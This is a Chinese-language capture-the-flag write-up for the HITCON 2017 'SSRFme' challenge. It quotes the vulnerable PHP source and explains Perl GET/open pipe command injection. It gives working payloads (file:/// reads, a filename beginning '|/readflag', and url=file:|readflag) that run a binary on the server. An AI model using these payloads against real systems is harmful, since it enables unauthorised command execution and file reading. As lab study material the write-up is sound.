[HITCON 2017]SSRFme
前置知识
- open函数中存在命令执行
意思如下:
open(F,"id|"); print <F>; //vi test.pl
uid=0(root) gid=0(root) groups=0(root) //perl test.pl
管道符一定要加,在payload前还是后视情况而定
-
perl中的GET函数底层即会调用open处理
-
open函数支持file协议
-
pathinfo函数的参数差异
直接放图,这里发现我们在不指定目录的情况下dirname直接是返回的点,即默认是在根目录下的
解题思路
打开直接给源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
代码审计
代码功能如下:
- 输出当前页面用户的ip
- 构建md5处理过的目录,切换到当前目录
- 执行GET拼接shell命令,内容可控
- 将可控内容写入到可控文件中
解题步骤
由代码审计可知,其实不算特别苛刻,参数均可控,但是这里存在疑问的是这句话
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
很难想象在事先不知的情况下如何知道这里的GET是Lib for WWW in Perl中的命令
对其相关介绍:博客
- 这里我们先读取根目录下的文件,结合前置知识
?url=file:///filename=123
-
看见flag和readflag,读了发现flag不可见,readflag是执行文件,那么思路就很清晰了,运行readflag文件读取flag
由于需满足前面文件存在,才会执行open语句,所以先创建同名文件
?url=&filename=|/readflag
-
执行命令
?url=file:|readflag&filename=123
-
访问
sandbox/MD5(orange+ip)/123
总结思路
代码审计->尝试ssrf读取到根目录->查询到perl语言中GET命令执行漏洞->构造命令执行payload(注意管道符)->获得flag
知识点
- ssrf
- Perl语言中GET命令执行
- 代码审计